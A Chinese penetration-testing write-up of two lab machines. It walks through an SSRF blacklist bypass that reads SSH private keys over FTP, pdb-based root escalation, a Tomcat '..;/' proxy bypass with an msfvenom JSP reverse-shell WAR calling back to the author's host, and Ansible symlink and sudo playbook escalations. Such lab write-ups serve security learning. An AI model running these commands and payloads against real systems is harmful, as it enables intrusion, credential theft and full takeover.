迷糊的提权方式以及利用ssrf到最终提权靶机

2022-02-08 8,486

                             文章首发于:先知社区

                         https://xz.aliyun.com/t/10811

目标是国外靶场

打过才知道 学的知识太少了师傅们看看就行 大家都会 要是描述得不对的地方 求指点

本地环境:kali

首先是通过ssrf拿下的靶机

第一台

因为是连了vpn的所以可以直接扫目标ip:10.10.11.111拿到目标 只有ip 那就先扫端口nmap -v -sSV -Pn 10.10.11.111 -T4 -sC

没啥信息 只有80端口 那就打开web看看直接访问10.10.11.111

直接访问不了 添加host头

echo “10.10.11.111 forge.xxx” >> /etc/hosts

然后在次访问

能访问了 发现有个上传的地方


上传试试

发现重命名的后缀名 不解析 上传应该是没办法了 找找其他突破先扫扫目录 和子域名目录:gobuster dir -u http://forge.xxx/ -w /usr/share/wordlists/dirb/common.txt

子域名:wfuzz -c -u “http://forge.xxx/“ -H “Host:FUZZ.forge.xxx” -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt

目录没扫出什么 扫到一个子域名 先进入看看还是不能直接访问 先加入到hostecho “10.10.11.111 admin.forge.xxx” >> /etc/hosts

提示只能本地访问

尝试加上X-Forwarded-For:127.0.0.1绕过失败。但是前面那个上传的地方 还有一个上传路径的地方

但是直接上传会提示是黑名单地址

既然是黑名单 我们尝试绕过

大小写绕过了:http://aDmin.forGe.xxx/然后访问页面发现报错

然后通过抓返回包发现一个路径

然后继续通过ssrf访问这个路径 继续进行抓包http://aDmin.forGe.xxx/announcements

然后访问路径抓取返回包 获得了ftp的密码

user:heightofsecurity123!以及获取/upload目录API用法,u=urlhttp://aDmin.forGe.xxx/upload?u=url

然后结合起来读取ftpftp://user:heightofsecurity123!@FORGE.xxx

http://aDmin.forGe.xxx/upload?u=ftp://user:heightofsecurity123!@FORGE.xxx

然后继续bp抓返回包

可以成功访问到,也就是说我们现在可以利用ssrf读取系统文件了。user.txt在这就说明现在已经是用户家目录了。读取ssh私钥http://aDmin.forGe.xxx/upload?u=ftp://user:heightofsecurity123!@FORGE.xxx/.ssh/id_rsa

用同样的方法读取

然后保存id_rsa

然后ssh连接ssh -i id_rsa user@10.10.11.111

成功连接上来

提权

sudo -l 发现一个不需要密码执行的py文件

然后看下这个文件

发现是建立socket链接 监听40433端口 那就先执行这个py文件看看先执行py文件看看 然后在用nc连接

然后在随便输入的时候 发现会调用pdb调试pdb模式下是可以执行python代码的。于是直接给bash加上suid提权

pdb:pdb是The Python Debugger的缩写,为Python标准库的一个模块。该模块规定了一个Python程序交互式源代码调试器,支持设置断点,也支持源码级单步调试,栈帧监视,源代码列出,任意栈帧上下文的随机Python代码估值。

到此 这一台也就提权完毕

第二台 利用ansible-playbook提权

第二台

目标ip:10.10.10.250拿到目标还是先扫描端口 进行信息收集

命令:nmap -v -sSV -Pn 10.10.10.250 -T4 -sC发现开了22 443 8080直接先打开8080端口看看

发现是一个登陆框 cms是 gitbucket试了下弱口令 发现不存在 那就注册一个

注册之后然后登录

这应该是一个代码仓库

因为前面还有443端口开发 打开443端口看看

之前nmap扫描出443端口,但是无法访问https,写入hosts尝试登录添加到host 因为扫描出有一个seal.xxx

echo 10.10.10.250 seal.xxx >> /etc/hosts是一个商城 那8080 的的确是443的代码库

然后继续翻代码库 通过找最近commits 在tomcat里面翻到了账户密码

http://10.10.10.250:8080/root/seal_market/commit/971f3aa3f0a0cc8aac12fd696d9631ca540f44c7username = tomcatpassword = 42MrHBf*z8{Z%尝试访问tomcat默认登录目录/manager/statushttps://seal.xxx/manager/status

输入找到的账户密码 成功登录

因为前面根据nmap 扫描出tomcat是通过反代的 这样会存在一个问题这个问题这里参考https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/管理界面/manager/html无法访问显示权限不够

这里就可以利用tomcat 和反代的漏洞 用..;/绕过

https://seal.xxx/manager/status/..;/html然后这里有一个上传的地方

然后打包一个war包的shell上传msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.46 LPORT=6666 -f war -o shell.war

在上传之前,请记住一件事。这里存在路径遍历漏洞。所以,你不能直接上传.war文件。唯一的过程是在上传之前修改路径,因此我在Burpsuite中拦截了上传请求以进一步修改。

上传之后 开启监听 然后访问 https://seal.xxx/shell/nc -lvvp 6666

发现还有个luis 这个开始在8080端口里面也发现了

然后在lusi目录下发现user.txt

命令:find / -name user.txt但是查看user.txt的时候发现没有权限

需要提权了

提权

在查看进程的时候发现了一个有趣的进程

命令:ps aux | grep root然后我们看看run.yml文件

发现tomcat只有读的权限cat /opt/backups/playbook/run.yml

第 4 行至关重要。看起来这里脚本copy_links=yes在src和dest文件之间建立了符号链接(As )。然后在第 8 行,它/opt/backups/archives以 gzip 格式备份文件。检查/var/lib/tomcat9/webapps/ROOT/admin/dashboard目录,

发现只有uploads目录可写网上了解搜索一下ansible playbook:https://blog.51cto.com/u_9019400/2385520这个yml是在做文件备份所以创建一个指向luis的id_rsa的软链接文件,我们可以把它放到/uploads目录中命令:ln -s ~/home/luis/.ssh/id_rsa /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/id_rsa然后可以在/opt/backups/archives下看到gz文件 然后解压

然后将压缩文件复制到tmp目录下

然后解压

命令:tar -xvf t.tar.gz切换到uploads目录然后查看id_rsa

保存到本地然后ssh 连接 但是在连接之前 需要给chmod 600

然后成功查看user.txtcat user.txt

提权root

第一种提权

sudo -l

发现luis不用密码就可以以root 执行ansible-playebook直接在提权网址发现一个提权方式

命令:TF=$(mktemp)echo ‘[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]‘ >$TFsudo ansible-playbook $TF

这样提权太快了提权网址:https://gtfobins.github.io/#

第二种提权:

创建一个root.yml文件

然后:sudo /usr/bin/ansible-playbook root.yml

第三种则是直接复制root.txt 也是创建yml文件

name: Ansible Copy Example Local to Remote
hosts: localhost
tasks:
   name: copying file with playbook
   become: true
   copy:
   src: /root/root.txt
   dest: /dev/shm
   owner: luis
   group: luis
   mode: 0777

使用sudo /usr/bin/ansible-playbook执行root.yml文件然后在dev/shm下找到root.txt

总结

通过这两个靶机 还是学到了不少 ssrf的利用 通过返回包看见a标签里面有一个路径 然后ssrf读取 发现密钥 到最后通过 pdb提权以及tomcat的..;绕过的方式 然后上传war 拿下shell 以及后面的利用ansible-playbook提权最后 还是知识面不够阿有什么不足 写得不对的地方 求师傅们指点


欢迎大家的关注与分享!!!!!


本文作者:辞令_WhITECat

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/173143.html

Tags:
评论  (0)
快来写下你的想法吧!

辞令_WhITECat

文章数:16 积分: 50

WhITECat安全团队是起源实验室合作安全团队,欢迎各位大佬关注“WhITECat安全小组”公众号了解更多!

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号